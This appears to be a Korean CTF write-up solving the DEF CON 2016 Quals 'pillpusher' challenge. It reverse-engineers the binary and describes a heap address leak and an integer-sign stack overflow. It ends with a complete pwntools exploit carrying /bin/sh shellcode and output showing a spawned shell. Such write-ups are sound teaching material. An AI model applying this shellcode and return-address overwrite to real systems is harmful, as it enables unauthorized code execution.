By choirish | May 12, 2017
Defcon2016 pillpusher
올 해 DEF CON 예선도 끝났습니다!
올 해 예선 시작 전에, 작년 DEF CON 예선에 출제되었던 문제를 하나 선택해서 풀어보았는데!! 윽.. 이번에도 역시 호락호락하지 않았어여…ㅋㅋㅋ
오늘 풀어볼 문제는 DEF CON 2016 Quals – pillpusher
입니다.
문제 풀이 Points
[ 알약 등록 → 약사 등록 → 약국 생성 → 환자 등록 → 약 처방 ] 순서대로 실행한다.
- 알약과 약사를 먼저 등록한 후, 등록된 알약과 약사의 정보를 이용해 약국을 생성한다.
- 환자 등록은 약을 처방하기 전에만 하면 된다.
- 약 처방(5번 Scrip Menu)을 할 때는 약국, 약사, 환자의 정보를 등록한 후, 처방전에 약을 추가할 수 있다(4번 Add Scrip).
[ 2) PILL MENU – 1) ADD A PILL ]에서 HEAP 주소가 LEAK되는 취약점이 존재한다.
- 알약의 이름을 256글자로 등록하면, 알약 이름이 저장되는 buf 시작 주소로부터 256byte 뒤에 기록된 heap pointer의 주소(6byte)까지 한 덩이로 인식하여, 그 주소까지 총 262byte 길이의 알약 이름이 등록된다.
- [ 2) Pill Menu – 3) List Pills ]에서 leak된 주소를 출력해준다. 요 leak된 주소로부터 멀리 떨어지지 않은 곳에 알약의 이름이 저장된 heap 영역의 주소가 있다!!
- 즉! 알약의 이름에 shellcode를 포함시킨 후, shellcode의 주소를 알아내어 그 주소로 ret를 덮으면 된다!!
- +) 해당 바이너리에는 모든 보호기법이 해제되어있으므로 힙 영역에 shellcode를 올리고 이를 실행하는 것이 가능하다.
[ 5) SCRIP MENU – 4) ADD SCRIP ]에서 알약을 무한으로 처방(?)할 수 있다.
- “how many pills to add?”라는 질문에 추가할 알약의 개수를 입력할 수 있는데, -1을 입력하면 거의 무한으로(0xffffffff개 만큼) 알약을 추가할 수 있다.
- 추가한 알약들의 이름이 buf [rbp-0x210]에 차곡차곡 쌓여서 (strcat 취약점 존재) 0x210byte를 가득 채우면 ret를 변조할 수 있게 된다.
[ Point 1 ] 알약 → 약사 → 약국 → 환자 → 처방
흠냐 여기서부터 본격 바이너리 탐구가 시작된다… 필자는 바이너리를 직접 실행해서 메뉴를 이것저것 다 선택해보면서 기능을 체크했다. 그리고 간혹 “안돼! 그거 아니야!” 메시지가 뜨면, ida를 켜서 올바른 루틴으로 가기 위한 입력값이 무엇인지 분석하였다.
그리하여 얻은 대략적인 메뉴 선택 순서와 그 입력값은 이러하다!
# 알약 등록 (등록할 알약 개수만큼 Add a Pill !!)
2) Pill Menu : 2
1) Add a Pill : 1
- pill name : [pillname]
- dosage : 1
- schedule : 1
- List treats : [symptom] ※※※ point A ※※※
- List interacts : \n
- List side effects : \n
6) Leave Menu : 6
# 약사 등록
3) Pharmacist Menu : 3
1) Add Pharmacist : 1
- Name : conchi
- Certification : 3
5) Back up : 5
# 약국 생성
1) Pharmacy Menu : 1
1) Create Pharmacy : 1
- Phar name : phar1
- Add pills : pill1 ※※※ point B ※※※
- Add pills : \n
- Add staff : conchi
- Add staff : \n
5) Go up : 5
# 환자 등록
4) Patient Menu : 4
1) Add Patient : 1
- name : pati
- enter symptoms?(Y/n) : [symptom] ※※※ point C ※※※
5) Leave Menu : 5
# 약 처방
5) Scrip Menu : 5
1) Select a Pharmacy : 1
- select : phar1
2) Select a Pharmacist : 2
- select pharma's num : 1 ※※※ point D ※※※
3) Select a Patient : 3
- select : pati
4) Add Scrip : 4
- how many pills to add? : -1 ※※※ point E ※※※
- Add pill : [pillname]s
※ point A ※
- 환자에게 처방할 알약이라면, treat 항목을 꼭 입력해줘야 한다!
- 환자에게 해당 알약을 처방하기 위해서는 환자의 symptom과 약이 다루는 symptom이 일치해야 하기 때문!
※ point B ※
- 여러 개의 알약을 등록할 수 있으므로 처방해야 할 알약을 약국에 모두 등록한다.
※ point C ※
- point A에서 말한 대로, 처방할 알약에 적어준 symptom과 일치하는 symptom을 환자 정보에 등록한다.
※ point D ※
- 여기서는 약사의 이름을 적는 게 아니라, 리스트된 약사의 앞 번호를 입력해야 한다.
- 약사 이름(conchi)을 적었더니 “Fail”!!! 이라고 떠서 ㅇㅅㅇ??! 당황하지 마시길… (저는 많이 당황잼)
※ point E ※
- 앞에서 고생한 것을 여기서 모두 쏟아 부을 수 있는! 중요한 포인트!
- 여기까지 오기 위해 이 모든 것을 입력했다…
- 여기서 무슨 일이 일어날지는 [ Point 3 ]에서 알아보기로!
[ Point 2 ] List Pills를 이용한 Leak! Leak!
[ 2) Pill Menu – 1) Add a Pill ]
에서 heap 주소가 leak되는 취약점이 존재한다!
[ 1) Add a Pill ]
에서 Name(알약 이름)을 입력 받는 부분의 코드를 자세히 살펴보자.
※ 참고사항 - pillpusher는 static compile한 바이너리로, 기본 라이브러리 함수도 모두 strip 되어 있다. - 필자는 각 라이브러리 함수의 기능을 어렴풋이 파악한 후, 자주 등장하는 라이브러리 함수의 이름을 변경해 두었다. - 이러한 유추 능력은 해당 함수의 형태를 자주 보고 익히면서 키워나갈 수 있다! 화이팅!
add a pill – C code
void addpill_400C12()
{
unsigned __int64 v0; // rt0@1
__int64 *v1; // rbx@5
unsigned int v2; // eax@7
__int64 *v3; // rbx@7
__int64 *v4; // rbx@7
__int64 buf; // [rsp-130h] [rbp-130h]@1
__int64 *v6; // [rsp-30h] [rbp-30h]@3
unsigned int v7; // [rsp-28h] [rbp-28h]@1
int v8; // [rsp-24h] [rbp-24h]@1
unsigned __int64 v9; // [rsp-8h] [rbp-8h]@1
v0 = __getcallerseflags();
v9 = v0;
v8 = 0;
v7 = 0;
memset_408E4F((__int64)&buf, 0, 0x100u); // buf의 크기는 최대 0x100 byte
printf_4084EF("Pill Name: ");
read_40018A(0, (__int64)&buf, 10, 256); // 최대 0x100 byte까지 입력받는다.
if ( (unsigned int)sub_400B76((__int64)&buf) )
{
printf_4084EF("No home slice it is already there\n");
}
else
{
v6 = (__int64 *)malloc_4087E8(0x40u);
v7 = strlen_408EA6((__int64)&buf); // ※※※ point A ※※※
if ( !v6 )
{
printf_4084EF("Done gone and screwed up.\n");
exit_407AA5();
}
memset_408E4F((__int64)v6, 0, 0x40u);
v1 = v6;
*v1 = malloc_4087E8(v7 + 1); // 0x107 byte 크기의 메모리를 할당한다.
if ( !*v6 )
{
printf_4084EF("Didn't work\n");
exit_407AA5();
}
memset_408E4F(*v6, 0, v7 + 1);
v2 = strlen_408EA6((__int64)&buf);
memcpy_409347((void *)*v6, &buf, v2); // ※※※ point B ※※※
printf_4084EF("Dosage: ");
memset_408E4F((__int64)&buf, 0, 0x100u);
( ... skip ... )
※ point A ※
- leak을 하기 위해서는 Name을 0x100byte로 입력하여 buf를 꽉 채워야 한다.
- Name을 0x100 byte 입력했을 경우 여기서 v7은 0x106이 된다.
- buf 뒤에 붙어있던 heap 주소 6자리까지 한 덩이로 인식하여 길이를 쟀기 때문
※ point B ※
- 할당된 메모리에, 측정한 buf 값의 길이(0x106)만큼 memcpy한다.
- 이로써 heap의 주소가 name에 노출되어 우리가 사용할 수 있게 되는 것!
좀 더 자세히 뜯어보기 위해 gdb로 한 줄 한 줄 따라가며 분석한 정보를 주석으로 달아보았다.
add a pill – asm code
.text:0000000000400C9A loc_400C9A:
.text:0000000000400C9A mov edi, 40h
.text:0000000000400C9F call malloc_4087E8
.text:0000000000400CA4 mov [rbp-20h], rax // ※※※ point A ※※※
.text:0000000000400CA8 ; 27: v7 = strlen_408EA6((__int64)&buf);
.text:0000000000400CA8 lea rax, [rbp-120h]
.text:0000000000400CAF mov rdi, rax
.text:0000000000400CB2 call strlen_408EA6
.text:0000000000400CB7 mov [rbp-18h], eax // ※※※ point B ※※※
.text:0000000000400CBA ; 28: if ( !v6 )
.text:0000000000400CBA mov rax, [rbp-20h]
.text:0000000000400CBE test rax, rax
.text:0000000000400CC1 jnz short loc_400CDC
.text:0000000000400CC3 ; 30: printf_4084EF("Done gone and screwed up.\n");
.text:0000000000400CC3 mov edi, offset aDoneGoneAndScr ;
.text:0000000000400CC8 mov eax, 0
.text:0000000000400CCD call printf_4084EF
.text:0000000000400CD2 ; 31: exit_407AA5();
.text:0000000000400CD2 mov edi, 0
.text:0000000000400CD7 call _exit_407AA5
.text:0000000000400CDC ; 33: memset_408E4F((__int64)v6, 0, 0x40u);
.text:0000000000400CDC
.text:0000000000400CDC loc_400CDC:
.text:0000000000400CDC mov rax, [rbp-20h]
.text:0000000000400CE0 mov edx, 40h
.text:0000000000400CE5 mov esi, 0
.text:0000000000400CEA mov rdi, rax
.text:0000000000400CED call memset_408E4F
.text:0000000000400CF2 ; 34: v1 = v6;
.text:0000000000400CF2 mov rbx, [rbp-20h]
.text:0000000000400CF6 ; 35: *v1 = malloc_4087E8(v7 + 1);
.text:0000000000400CF6 mov eax, [rbp-18h] // 0x107만큼 malloc
.text:0000000000400CF9 add eax, 1
.text:0000000000400CFC mov edi, eax
.text:0000000000400CFE call malloc_4087E8
.text:0000000000400D03 mov [rbx], rax
.text:0000000000400D06 ; 36: if ( !*v6 )
.text:0000000000400D06 mov rax, [rbp-20h]
.text:0000000000400D0A mov rax, [rax]
.text:0000000000400D0D test rax, rax
.text:0000000000400D10 jnz short loc_400D2B
.text:0000000000400D12 ; 38: printf_4084EF("Didn't work\n");
.text:0000000000400D12 mov edi, offset aDidnTWork ; "Didn't work\n"
.text:0000000000400D17 mov eax, 0
.text:0000000000400D1C call printf_4084EF
.text:0000000000400D21 ; 39: exit_407AA5();
.text:0000000000400D21 mov edi, 0
.text:0000000000400D26 call _exit_407AA5
.text:0000000000400D2B ; 41: memset_408E4F(*v6, 0, v7 + 1);
.text:0000000000400D2B
.text:0000000000400D2B loc_400D2B:
.text:0000000000400D2B mov eax, [rbp-18h]
.text:0000000000400D2E add eax, 1
.text:0000000000400D31 mov edx, eax
.text:0000000000400D33 mov rax, [rbp-20h]
.text:0000000000400D37 mov rax, [rax]
.text:0000000000400D3A mov esi, 0
.text:0000000000400D3F mov rdi, rax
.text:0000000000400D42 call memset_408E4F // 0x107만큼 memset
.text:0000000000400D47 ; 42: v2 = strlen_408EA6((__int64)&buf);
.text:0000000000400D47 lea rax, [rbp-120h]
.text:0000000000400D4E mov rdi, rax
.text:0000000000400D51 call strlen_408EA6
.text:0000000000400D56 ; 43: memcpy_409347((void *)*v6, &buf, v2);
.text:0000000000400D56 mov edx, eax
.text:0000000000400D58 mov rax, [rbp-20h]
.text:0000000000400D5C mov rax, [rax]
.text:0000000000400D5F lea rcx, [rbp-120h]
.text:0000000000400D66 mov rsi, rcx
.text:0000000000400D69 mov rdi, rax
.text:0000000000400D6C call memcpy_409347 // ※※※ point C ※※※
※ point A ※
- pill structure를 가리키는 포인터 주소가 [rbp-0x20]에 들어간다.
- 여기에 들어있는 주소가 바로 leak이 되는 주소!! (0x7ffff7ffa008)
- 알약 이름이 들어가는 buf의 위치는 [rbp-0x120]인데, [rbp-0x20]에 이러한 주소가 들어있으니까
256byte 짜리 알약 이름을 입력했을 경우, 주소까지 딸려 나오는 것!!
※ point B ※
buf 길이(0x106) 값이 [rbp-18h]에 저장된다. (이건 사실 아주 중요하지는 않다)
※ point C ※
rdi(0x7ffff7ffa050) 공간에 rsi(106byte pill name) 값을 memcpy 한다.
즉, 0x7ffff7ffa050에 pill name이 저장된다!
즉슨, 내가 pill name에 shellcode를 넣으면! 0x7ffff7ffa050이 바로 shellcode의 주소가 된다! 이 주소를 ret에다가 쁍 박아 넣으면 쉘이 뙇! 뜬다는 것!
ASLR에 의해 주소가 뒤바뀔 수 있으니 우리는 leak된 주소를 기준으로 shellcode 주소를 계산해야 한다.
shellcode의 주소 = leak된 주소 + 0x48
∵ 0x7ffff7ffa050 = 0x7ffff7ffa008 + 0x48
memcpy 실행 전
memcpy 실행 후
heap의 주소까지 name에 저장이 되고 나면! 3번 메뉴(List Pills)를 통해 name의 값을 출력한다.
1) Add a Pill
2) Random Pill
3) List Pills
4) Modify Pill
5) "Lose" Pills
6) Leave Menu
-> 3
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ÿ
요로코롬 알아보기 어려운 문자가 끝에 붙어 나오는데, 우리는 socket으로 recv해서 끝에 붙은 주소값을 온전히 받아 낼 수 있다.
shellcode를 어떻게 담는지, shellcode의 주소는 어딘지도 알아냈으니!
ret를 덮을 수 있는 취약점을 공략하러 기기!
[ Point 3 ] Add Scrip을 이용한 Buffer Overflow!
[ 5) Scrip Menu – 4) Add Scrip ]
에서 Buffer Overflow 취약점이 존재한다!
[ 4) Add Scrip ]
에서 알약 개수를 입력 받는 부분의 코드를 자세히 살펴보자.
add scrip
void __usercall addscrip_4076E2(__int64 pati@, __int64 a2@, __int64 phar@, __int64 macist@)
{
unsigned __int64 v4; // rt0@1
int v5; // eax@15
int v6; // eax@17
unsigned int v7; // eax@17
__int64 _pati; // [rsp+0h] [rbp-448h]@1
char v9; // [rsp+18h] [rbp-430h]@4
__int64 v10; // [rsp+218h] [rbp-230h]@4
__int64 v11; // [rsp+220h] [rbp-228h]@4
__int64 v12; // [rsp+228h] [rbp-220h]@4
__int64 v13; // [rsp+230h] [rbp-218h]@4
__int64 buf; // [rsp+238h] [rbp-210h]@7 // ※※※ point A ※※※
unsigned __int64 v15; // [rsp+440h] [rbp-8h]@1
v4 = __getcallerseflags();
v15 = v4;
_pati = pati;
if ( phar && macist && pati )
{
v10 = 0LL;
v11 = 0LL;
v13 = 0LL;
v12 = 0LL;
memset_408E4F((__int64)&v9, 0, 0x200u);
printf_4084EF("How many pills to add: ");
v13 = (signed int)sub_400230(a2, 0); // ※※※ point B ※※※
if ( v13 > 2 )
v10 = 2LL;
else
v10 = v13;
memset_408E4F((__int64)&buf, 0, 0x200u);
while ( v10 )
{
sub_406F72((__int64 *)phar);
printf_4084EF("Add pill: ");
v11 = sub_407027(phar, macist, _pati, (__int64)&buf); // ※※※ point C ※※※
if ( v11 == 1 ) // ※※※ point D ※※※
{
--v10;
++v12;
}
else if ( !v11 )
{
break;
}
}
if ( v12 > 0 )
{
if ( *(_QWORD *)(_pati + 24) )
sub_408B69(*(_QWORD *)(_pati + 24));
v5 = strlen_408EA6((__int64)&buf);
*(_QWORD *)(_pati + 24) = malloc_4087E8(v5 + 1);
if ( !*(_QWORD *)(_pati + 24) )
{
printf_4084EF("Fail\n");
exit_407AA5();
}
v6 = strlen_408EA6((__int64)&buf);
memset_408E4F(*(_QWORD *)(_pati + 24), 0, v6 + 1);
v7 = strlen_408EA6((__int64)&buf);
memcpy_409347(*(void **)(_pati + 24), &buf, v7);
}
}
__writeeflags(v15);
}
※ point A ※
- Add pill에 입력한 name들이 저장되는 buf의 위치가 [rbp-210h] !!!
- 즉 buf에 0x210 byte를 가득 채우고 나면 ret 주소를 변조할 수 있는 것!
※ point B ※
- 추가할 알약 개수를 입력 받은 후 signed int형 변수(v13)에 저장한다.
- v13이 2보다 적을 경우 입력 받은 값만큼 알약을 추가할 수 있다.
- 최대 2개까지만 추가할 수 있게 하려는 목적이었을 텐데… 여기에 함정이 있다!
- v13을 v10에 옮겨 담는데, v10은 unsigned int형 변수이다.
- 즉, v13에 -1을 입력 받은 후 v10에 -1이 전달되면, v10은 그 값을 음수가 아니라 양수 0xffffffff로 인식한다.
- 즉슨, 원하는 만큼 알약을 추가할 수 있게 된다!!!!
※ point C/D ※
- point D에서 v11이 1이어야, v10(추가할 알약 개수) 값을 1씩 줄여가면서 계속 입력을 받는다.
- 즉, point C에서 sub_407027의 리턴값이 1이어야 한다.
sub_407027
함수를 자세히 봐야겠다!
- +) 분석 내용에서 필자가 미리 바꿔둔 변수 이름은 필요할 때마다 다른 부분도 분석하여 알아낸 것이다. 여러분들도 차근차근 하면 찾아낼 수 있을 것이다. 적어둔 변수 이름이 참고가 되길!
sub_407027 함수를 자세히 보자. (하이라이트이자 마지막!)
sub_407027
signed __int64 __fastcall sub_407027(__int64 phar, __int64 macist, __int64 pati, __int64 buf)
{
unsigned __int64 v4; // rt0@1
signed __int64 result; // rax@5
int v6; // eax@31
int v7; // eax@31
int v8; // eax@31
int v9; // eax@31
__int64 v10; // [rsp+0h] [rbp-150h]@1
__int64 v11; // [rsp+8h] [rbp-148h]@1
char v12; // [rsp+20h] [rbp-130h]@6
int v13; // [rsp+120h] [rbp-30h]@1
__int64 v14; // [rsp+128h] [rbp-28h]@1
__int64 v15; // [rsp+130h] [rbp-20h]@1
int j; // [rsp+138h] [rbp-18h]@1
int i; // [rsp+13Ch] [rbp-14h]@1
unsigned __int64 v18; // [rsp+148h] [rbp-8h]@1
v4 = __getcallerseflags();
v18 = v4;
v11 = pati;
v10 = buf;
i = 0;
j = 0;
v15 = 0LL;
v14 = 0LL;
v13 = 0;
if ( phar && macist && pati && buf )
{
memset_408E4F((__int64)&v12, 0, 0x100u);
if ( (unsigned int)read_40018A(0, (__int64)&v12, 10, 256) )
{
for ( i = 0; *(_DWORD *)(phar + 12) > i; ++i ) // pill check
{
if ( *(_QWORD *)(8LL * i + *(_QWORD *)(phar + 16))
&& !(unsigned int)strncmp_409234(**(_QWORD **)(8LL * i + *(_QWORD *)(phar + 16)), (__int64)&v12, 0x100u) )
{
printf_4084EF("strncmp found it.\n");
v14 = *(_QWORD *)(8LL * i + *(_QWORD *)(phar + 16));
break;
}
}
if ( v14 ) // v14 ≒ pill name
{
for ( i = 0; *(_DWORD *)(v11 + 12) > i && !v15; ++i ) // symptom_num check
{
if ( *(_QWORD *)(8LL * i + *(_QWORD *)(v11 + 16)) ) // symptom_name_table check
{
for ( j = 0; *(_DWORD *)(v14 + 48) > j && !v15; ++j )
{
if ( !(unsigned int)strncmp_409234(
*(_QWORD *)(8LL * i + *(_QWORD *)(v11 + 16)),
*(_QWORD *)(8LL * j + *(_QWORD *)(v14 + 56)),
0x100u) ) // compare pill_treat with patient's symptom
v15 = 1LL; // ※※※ point A ※※※
}
}
}
j = strlen_408EA6(*(_QWORD *)v14);
printf_4084EF("Len: %d\n");
if ( v15 ) // ※※※ point B ※※※
{
if ( *(_DWORD *)(v14 + 12) <= *(_DWORD *)(macist + 8) )
{
strcat_408DA4(v10, *(_QWORD *)v14);
v6 = j++;
*(_BYTE *)(v6 + v10) = 0x20; // ※※※ point C ※※※
v7 = j++;
*(_BYTE *)(v7 + v10) = 0x20;
v8 = j++;
*(_BYTE *)(v8 + v10) = 0x20;
v9 = j++;
*(_BYTE *)(v9 + v10) = 0x20;
result = 1LL; // ※※※ point D ※※※
}
else
{
printf_4084EF("This doc isn't qualified.\n");
result = 0LL;
}
}
else
{
printf_4084EF("Pill solves nothing. You pill pusher.\n");
result = 0LL;
}
}
else
{
printf_4084EF("Invalid\n");
result = 0LL;
}
}
else
{
printf_4084EF("Blank line.\n");
result = 0LL;
}
}
else
{
result = 0LL;
}
__writeeflags(v18);
return result;
}
※ point A ※
- point A에 도달하기 전의 무수한 check 구문들을 통과해야 v15 = 1이 될 수 있다.
- v15가 1이어야 대망의 point B로 갈 수 있기 때문!
※ point B ※
- v10(buf)에 계속해서 pill_name을 덧붙일 수 있는 strcat 취약점이 존재한다.
※ point C ※
- buf의 시작 주소(maybe)로부터 pill_name의 길이(j)만큼의 offset 위치에 0x20을 4개 집어넣는다.
- 첫 번째 pill_name을 입력할 때 끝 4byte에 0x20이 추가된다.
- 그 이후의 pill_name들을 입력할 때는 buf의 가장 끝에 추가되는 게 아니므로 중요하지 않다.
※ point D ※
- 이 부분까지 흘러 들어와야만 sub_407027 함수의 리턴값이 1이된다.
슥삭슥삭 긁어 모은 정보들을 모두 모아 익스를 짜면!?!!! 쁍!
pill_ex.py
from pwn import *
s = remote('0.0.0.0',9999)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 27byte
shellpill = "\x90"*229 + shellcode
Apill = "A"*100
# pill menu
s.recvuntil("-> ")
s.send("2\n")
# add pill(shellpill) to put shellcode and to leak
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("Pill Name: ")
s.send(shellpill+"\n")
s.recvuntil("Dosage: ")
s.send("1\n")
s.recvuntil("Schedule: ")
s.send("1\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")
# list pill to leak
s.recvuntil("-> ")
s.send("3\n")
s.recvuntil(shellpill)
leaked = s.recvuntil("\n")[:-1] # leak
leaked_addr = u64(leaked+"\x00\x00")
shell_addr = p64(leaked_addr+0x48)
log.info("leaked shell addr is : "+hex(u64(shell_addr)))
payload = "B"*24 + shell_addr
# add pill(payload) to change rip
s.recvuntil("-> ")
s.send("1\n") # add pill
s.recvuntil("Pill Name: ")
s.send(payload+"\n")
s.recvuntil("Dosage: ")
s.send("2\n")
s.recvuntil("Schedule: ")
s.send("2\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")
# add pill(Apill) to fill stack
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("Pill Name: ")
s.send(Apill+"\n")
s.recvuntil("Dosage: ")
s.send("2\n")
s.recvuntil("Schedule: ")
s.send("2\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil("-> ")
s.send("6\n")
# pharmacist menu
s.recvuntil("-> ")
s.send("3\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil(": ")
s.send("conchi\n")
s.recvuntil(": ")
s.send("3\n")
s.recvuntil("-> ")
s.send("5\n")
# patient menu
s.recvuntil("-> ")
s.send("4\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil(": ")
s.send("pati\n")
s.recvuntil(": ")
s.send("Y\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil("-> ")
s.send("5\n")
# pharmacy menu
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("? ")
s.send("phar\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.send(payload+"\n\n")
s.recvuntil(": ")
s.send("conchi\n\n")
s.recvuntil("-> ")
s.send("5\n")
# scrip menu
s.recvuntil("-> ")
s.send("5\n")
s.recvuntil("-> ")
s.send("1\n") # select phar
s.recvuntil(": ")
s.send("phar\n")
s.recvuntil("-> ")
s.send("2\n") # select pharmacist
s.recvuntil(": ")
s.send("1\n")
s.recvuntil("-> ")
s.send("3\n") # select patient
s.recvuntil(": ")
s.send("pati\n")
# add scrip
s.recvuntil("-> ")
s.send("4\n")
s.recvuntil(": ")
s.send("-1\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(payload+"\n")
s.recvuntil(": ")
s.send("\n")
s.interactive()
+) 덧붙이기
- leak을 위한 알약(shellpill)은 leak하는 데에만 썼다.
- 버퍼를 채우기 위한 알약(Apill)은 A로 가득 메웠다.
- 스택 공간(0x210)을 채우고 ret을 덮는 것까지 총 0x218 byte가 필요한데…
- 사실 strcat 구문에서 “0x20” 4개가 buf에 한 번(경우에 따라 다를 수도 있는 듯!) 추가적으로 들어간다.
- 고로, ret 주소(payload라는 알약에 포함되어 있음)를 포함하여 0x214 byte의 알약 이름을 추가시키면 된다!
익스플로잇을 실행한 결과는 요러하다.
$ python pill_ex.py
[+] Opening connection to 0.0.0.0 on port 9999: Done
[*] leaked shell addr is : 0x7fe55f0fa050
[*] Switching to interactive mode
phar
1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_
strncmp found it.
Len: 100
Pills available at: phar
1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_
Add pill: strncmp found it.
Len: 100
Pills available at: phar
1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_
Add pill: strncmp found it.
Len: 100
Pills available at: phar
1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_
Add pill: strncmp found it.
Len: 30
Pills available at: phar
1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_
Add pill: Blank line.
$ ls
ABCtest_input
input2.py
pill_ex.py
pillpusher
그럼 이만 끝! 분석하다 보면 분석할 게 불쑥불쑥 자꾸 생겨난다… 푸는 분들 모두 화이팅!